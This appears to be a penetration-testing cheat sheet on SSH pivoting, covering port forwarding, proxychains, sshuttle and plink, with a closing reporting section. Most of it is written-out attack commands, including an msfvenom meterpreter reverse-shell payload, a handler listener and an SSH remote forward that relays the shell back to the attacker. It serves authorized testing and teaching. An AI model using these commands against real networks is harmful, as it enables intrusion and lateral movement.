🛡️ Methodology Checklist
- Confirm SSH access to pivot host and internal segment reachability
- Local forward:
ssh -L [LPORT]:[INTERNAL_IP]:[PORT] user@[PIVOT] - Dynamic SOCKS proxy:
ssh -D 9050 user@[PIVOT] - Configure
/etc/proxychains.conf:socks5 127.0.0.1 9050 - Verify listener:
ss -tlnp | grep 9050 - Test connectivity:
proxychains4 -q curl http://[INTERNAL_IP] - Remote tunnel (reverse):
ssh -R [RPORT]:localhost:[LPORT] user@[ATTACKER] - Close SSH session cleanly when done
🎯 Operational Context
Use when: SSH access to a pivot host — use dynamic SOCKS proxy (-D), local port forward (-L), or remote port forward (-R) for internal network access.
Think Dumber First: ssh -D 9050 [USER]@[PIVOT_IP] then set socks5 127.0.0.1 9050 in proxychains — takes 10 seconds and routes all proxychains traffic through the pivot. The most reliable pivoting method when SSH is available.
Skip when: SSH not available on pivot — use Chisel or netsh instead.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
ssh -L [LPORT]:localhost:[REMOTE_PORT] [USER]@[PIVOT_IP] | Local forward — specific local port → specific remote service |
ssh -L [LPORT]:localhost:[PORT1] -L [LPORT2]:localhost:[PORT2] [USER]@[PIVOT_IP] | Multiple local forwards in one command |
ssh -D 9050 [USER]@[PIVOT_IP] | Dynamic forward — SOCKS proxy on local port 9050 for entire internal network |
ssh -R [PIVOT_LAN_IP]:[PIVOT_PORT]:0.0.0.0:[LPORT] [USER]@[PIVOT_IP] -vN | Remote forward — pivot listens, forwards reverse shell back to attack host |
proxychains nmap -v -Pn -sT [TARGET_IP] | Scan internal host via SOCKS tunnel (must use -sT -Pn) |
proxychains xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS] | RDP to internal host via SOCKS proxy |
sudo sshuttle -r [USER]@[PIVOT_IP] [TARGET_SUBNET]/[CIDR] -v | Transparent VPN-like proxy — no proxychains needed |
sudo sshuttle -r [USER]@[PIVOT_IP] 0.0.0.0/0 -x [PIVOT_IP] | Route all traffic except pivot host itself (prevent loops) |
echo y | plink.exe -ssh -D 9050 [USER]@[PIVOT_IP] | Windows plink — dynamic SOCKS proxy |
plink.exe -ssh -L [LPORT]:[INTERNAL_IP]:[TARGET_PORT] [USER]@[PIVOT_IP] -pw [PASS] | Windows plink — local port forward |
netstat -antp | grep [LPORT] | Verify SSH tunnel is listening on attack host |
🔬 Deep Dive & Workflow
Identifying Pivot Opportunities
# Linux: find dual-homed hosts (multiple NICs = pivot candidate)
ifconfig # look for eth1, tun1 with different subnets
netstat -r # check routing table for reachable subnets
# Windows
ipconfig /all
route printDiagram rule: Map every NIC and subnet discovered. Multi-level pivots require knowing exactly which host bridges which networks.
SSH Local Port Forwarding (-L)
Use when you know the exact service and port to target (e.g., MySQL on 3306):
# Forward local:1234 → pivot's localhost:3306
ssh -L 1234:localhost:3306 [USER]@[PIVOT_IP]
# Verify
netstat -antp | grep 1234
nmap -v -sV -p1234 localhost
# Use it
mysql -h 127.0.0.1 -P 1234 -u root -pSSH Dynamic Port Forwarding (-D) + proxychains
Use when you need to reach any IP/port on the internal network:
# 1. Open SOCKS proxy
ssh -D 9050 [USER]@[PIVOT_IP]
# 2. Configure proxychains (see "Configuring proxychains.conf by hand" below)
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
# 3. Tunnel any tool
proxychains nmap -v -Pn -sT [TARGET_IP] # -sT mandatory (no SYN through SOCKS)
proxychains xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS]
proxychains msfconsoleConfiguring proxychains.conf by hand
This is the canonical reference for the proxychains config edit used across the pivoting and NetExec pages — do it once by hand so the echo >>/sed shortcuts make sense.
Which file: on Kali the active file is /etc/proxychains4.conf (the binary is proxychains4/proxychains-ng); older setups use /etc/proxychains.conf. Check which exists: ls -l /etc/proxychains*.conf.
By hand — open it (sudo nano /etc/proxychains4.conf) and look at two things:
- The dynamic_chain / strict_chain / proxy_dns toggles near the top (comment lines with
#). Leave defaults; optionally enableproxy_dnsso name resolution goes through the tunnel. - The
[ProxyList]section at the very bottom — one proxy per line, formattype host port:
[ProxyList]
# add proxy here ...
# defaults to "tor"
socks5 127.0.0.1 9050Replace the stock socks4 127.0.0.1 9050 entry with your tunnel’s protocol and port. Two rules that trip people up:
socks5, notsocks4— SSH-Dand Chisel/MSF SOCKS speak SOCKS5; SOCKS4 has no UDP and no remote DNS, so DNS-dependent tools silently fail.- Port must match your tunnel —
ssh -D 9050→ port9050; MSF/Chisel default →1080. A mismatch looks like “proxychains hangs.”
As shortcuts (same edit):
# Append a line (leaves any stock entry in place — fine if you commented it out):
echo "socks5 127.0.0.1 9050" | sudo tee -a /etc/proxychains4.conf
# Or rewrite the stock socks4 line in place:
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 9050/' /etc/proxychains4.confVerify before relying on it: grep -A3 '\[ProxyList\]' /etc/proxychains4.conf.
SSH Remote Port Forwarding (-R) — Catching Reverse Shells
Use when a deep target can reach the pivot but not your attack host:
# 1. Generate payload pointing to PIVOT (not attack host)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[PIVOT_IP] LPORT=8080 -f exe -o shell.exe
# 2. Start listener on attack host (different port than pivot port)
use exploit/multi/handler; set lhost 0.0.0.0; set lport 8000; run
# 3. SSH remote forward — pivot:8080 → attack:8000
ssh -R [PIVOT_IP]:8080:0.0.0.0:8000 [USER]@[PIVOT_IP] -vN
# MUST specify pivot LAN IP — omitting it binds only to 127.0.0.1 on pivot (target can't reach that)sshuttle — Transparent Proxy (No proxychains)
Best UX when target subnet needs extensive tool usage. Modifies local iptables routing — no proxy prefix needed:
sudo sshuttle -r [USER]@[PIVOT_IP] [SUBNET]/23 -v
# Run tools directly (no proxychains)
nmap -v -A -sT -p3389 [TARGET_IP] -Pn
xfreerdp3 /u:[USER] /p:[PASS] /v:[TARGET_IP]Requirements: Python on pivot host (not required on attack host); sudo on attack host to modify iptables. Does not support UDP or SYN scans reliably — use -sT.
plink.exe — SSH from Windows
Native Windows alternative when PuTTY is already installed on a compromised host:
# Dynamic SOCKS (pipe y to accept host key)
echo y | plink.exe -ssh -D 9050 [USER]@[PIVOT_IP]
# Local forward (RDP — use 3390 to avoid conflict with Windows' own RDP on 3389)
plink.exe -ssh -L 3390:[TARGET_IP]:3389 [USER]@[PIVOT_IP] -pw "[PASS]"
mstsc /v:127.0.0.1:3390 # connect with TARGET's credentials (not pivot's)Two credential sets: plink authenticates to the pivot; the RDP client authenticates to the target.
Comparison Table
| Method | Use Case | proxychains | UDP | Stability |
|---|---|---|---|---|
-L (local) | Single known service | No | No | High |
-D (dynamic) | Full subnet access | Yes | No | Medium |
-R (remote) | Catch reverse shell from internal | No | No | High |
| sshuttle | Full subnet, many tools | No | Limited | High |
| plink | Windows attack host | Via Proxifier | No | Medium |
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| ssh -D port already in use | Local port conflict | Change: ssh -D 9090 ...; update proxychains.conf to match |
| Dynamic proxy works for some tools but not others | SOCKS4 vs SOCKS5 | Set socks5 not socks4 in proxychains.conf; UDP-based tools don’t work through SOCKS |
| SSH connection drops after idle | No keepalive configured | Add: ssh -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -D 9050 ... |
| Remote port forward (-R) not binding | AllowTcpForwarding disabled | Check sshd_config on attack box: AllowTcpForwarding yes and GatewayPorts yes |
| Local forward (-L) can’t reach internal service | Wrong destination format | Format: ssh -L [LPORT]:[INTERNAL_IP]:[INTERNAL_PORT] [USER]@[PIVOT]; INTERNAL_IP is from pivot’s perspective |
📝 Reporting Trigger
Finding Title: SSH Dynamic SOCKS Proxy Enables Full Internal Network Access Impact: SSH dynamic proxy through a compromised Linux host routes all attacker traffic through the pivot, providing unrestricted access to the internal network segment with encryption and minimal detection risk on networks that permit outbound SSH. Root Cause: SSH permitted outbound from the pivot host without network-level restrictions. No monitoring of SSH dynamic proxy usage. Recommendation: Restrict SSH access from internal hosts to specific authorized destinations. Alert on outbound SSH connections from non-management hosts. Monitor for SSH with -D or ForwardAgent flags from non-interactive processes. Implement network access control based on host role.